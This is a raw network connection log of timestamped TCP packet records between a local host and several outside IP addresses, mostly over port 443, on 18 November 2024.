Nov 18, 2024 08:55:42.220499992 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.221143007 CET	49859	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.221149921 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.221266031 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.221280098 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.222187996 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.222192049 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.222446918 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.222455025 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.222817898 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.222821951 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.238708973 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:42.342391968 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.342479944 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.342967033 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.346904993 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.346990108 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.348128080 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.350527048 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.350579977 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.350670099 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.350769043 CET	49859	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.350824118 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:42.350903034 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.351663113 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.351730108 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.351939917 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.388195038 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.388271093 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.388320923 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.407653093 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.425071955 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.433057070 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.463934898 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.577124119 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.577157974 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:42.577178955 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.577186108 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:42.583252907 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:42.587003946 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:42.587025881 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.587131977 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.587160110 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.587244987 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.587269068 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.588268995 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.588285923 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.588335037 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:42.588346958 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.588362932 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.588398933 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.588490009 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.588509083 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.588545084 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.598952055 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:42.599091053 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.603573084 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:42.603600025 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.604131937 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.604264021 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.604939938 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.604959011 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.606487036 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.606611013 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.610349894 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.610373020 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.611129999 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.611152887 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.611174107 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.611180067 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.611238956 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.611244917 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.611262083 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.611264944 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.613015890 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.613034964 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.614392042 CET	49859	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.614412069 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.614672899 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.614672899 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.614681959 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.614691019 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.650418997 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.650450945 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.650746107 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.652949095 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.652964115 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.662523985 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:42.662575960 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:42.662657022 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:42.667658091 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:42.667680025 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:42.674458981 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.674504042 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.674669027 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.688589096 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.688632965 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.688704014 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.694088936 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.694111109 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.730653048 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.730698109 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.732368946 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.732918024 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.732995987 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:42.742296934 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:42.742332935 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:42.745567083 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.745647907 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.745739937 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.746047020 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.746114969 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.751171112 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.751195908 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.751837969 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.751869917 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.753585100 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:42.758410931 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:42.759210110 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.759260893 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.759521961 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.761744022 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.761795044 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.761863947 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.763278961 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.763289928 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.763417006 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.764858007 CET	49875	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.764868975 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.764926910 CET	49875	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.767085075 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.767096996 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.767802000 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.767816067 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.767973900 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.767987013 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.768305063 CET	49875	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.768317938 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.818058968 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.818106890 CET	443	49876	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.818205118 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.818466902 CET	49877	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.818506002 CET	443	49877	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.818557024 CET	49877	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.819467068 CET	49877	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.819479942 CET	443	49877	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.819731951 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:42.819760084 CET	443	49876	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:42.923742056 CET	49878	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.923803091 CET	443	49878	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:42.923909903 CET	49878	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.924334049 CET	49878	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.924370050 CET	443	49878	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:42.928698063 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.928750038 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:42.928878069 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.929094076 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:42.929109097 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:43.183196068 CET	49880	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.183235884 CET	443	49880	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.183352947 CET	49880	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.183731079 CET	49881	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.183764935 CET	443	49881	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.183839083 CET	49881	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.184724092 CET	49881	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.184740067 CET	443	49881	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.185070992 CET	49880	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.185082912 CET	443	49880	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.213776112 CET	49882	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.213792086 CET	443	49882	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.213969946 CET	49882	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.214267969 CET	49883	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.214309931 CET	443	49883	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.214427948 CET	49883	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.214571953 CET	49882	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.214581013 CET	443	49882	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.214695930 CET	49883	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.214706898 CET	443	49883	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.272361994 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.274416924 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.274436951 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.275597095 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.276689053 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.276880026 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.276974916 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.301969051 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.303415060 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.303442001 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.303822041 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.304653883 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.304713011 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.304833889 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.319335938 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.351331949 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.351809978 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.390717983 CET	49884	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.390763044 CET	443	49884	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.390841961 CET	49884	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.391076088 CET	49884	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.391088009 CET	443	49884	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.407490015 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.419414043 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.419478893 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.419658899 CET	49868	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.419671059 CET	443	49868	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.420278072 CET	49885	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.420304060 CET	443	49885	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.420509100 CET	49885	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.421197891 CET	49885	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.421206951 CET	443	49885	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.425079107 CET	443	49877	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.431276083 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.431355000 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.431602955 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.432972908 CET	443	49876	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.437016964 CET	49877	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.437031031 CET	443	49877	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.437813997 CET	443	49877	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.442428112 CET	49877	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.442550898 CET	443	49877	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.442646980 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.442660093 CET	443	49876	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.442837000 CET	49871	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.442851067 CET	443	49871	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.443743944 CET	443	49876	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.443829060 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.444175005 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.444226980 CET	443	49876	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.464675903 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.484627962 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.484668970 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.485208035 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.485215902 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.496531010 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.502012968 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.502681971 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.507524967 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.511771917 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.511805058 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.512301922 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.512310028 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.536494970 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:43.536569118 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:43.539351940 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.554203033 CET	49877	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.554219007 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.554230928 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.554248095 CET	443	49876	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:43.554274082 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.572139978 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.572146893 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.572757006 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.572761059 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.573062897 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.573079109 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.573472023 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.573478937 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.587791920 CET	49875	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.587812901 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.588211060 CET	49875	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.588217020 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.591043949 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:43.591053009 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.591594934 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.591604948 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.591639996 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.591661930 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:43.591669083 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.591684103 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:43.591702938 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:43.592344999 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.592489004 CET	49886	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:43.592521906 CET	443	49886	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:43.592631102 CET	49886	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:43.593170881 CET	49887	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:43.593189001 CET	443	49887	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:43.593240023 CET	49887	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:43.596159935 CET	49886	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:43.596175909 CET	443	49886	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:43.596529007 CET	49887	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:43.596540928 CET	443	49887	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:43.596942902 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:43.597013950 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.597486019 CET	49869	443	192.168.2.7	216.58.206.33
Nov 18, 2024 08:55:43.597492933 CET	443	49869	216.58.206.33	192.168.2.7
Nov 18, 2024 08:55:43.611525059 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.611588001 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.611680984 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.637094021 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.637151957 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.637475014 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.651319981 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.651348114 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.651364088 CET	49870	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.651372910 CET	443	49870	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.656663895 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.656665087 CET	49874	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.656680107 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.656688929 CET	443	49874	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.665133953 CET	49876	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:43.696293116 CET	49890	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.696331024 CET	443	49890	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.696695089 CET	49890	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.699420929 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.699496984 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.699582100 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.700098991 CET	49891	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.700133085 CET	443	49891	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.700261116 CET	49891	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.700798988 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.700823069 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.700867891 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.700871944 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.700911999 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.703265905 CET	49890	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.703275919 CET	443	49890	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.704133987 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.704133987 CET	49872	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.704144955 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.704154968 CET	443	49872	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.708131075 CET	49892	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.708164930 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.708233118 CET	49892	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.708750010 CET	49892	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.708760977 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.709466934 CET	49891	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.709482908 CET	443	49891	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.709912062 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.709922075 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.709932089 CET	49873	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.709937096 CET	443	49873	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.718750000 CET	49893	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.718781948 CET	443	49893	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.718842983 CET	49893	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.719151974 CET	49893	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:43.719165087 CET	443	49893	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.724345922 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.724381924 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.724415064 CET	443	49875	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:43.724425077 CET	49875	443	192.168.2.7	13.107.246.45
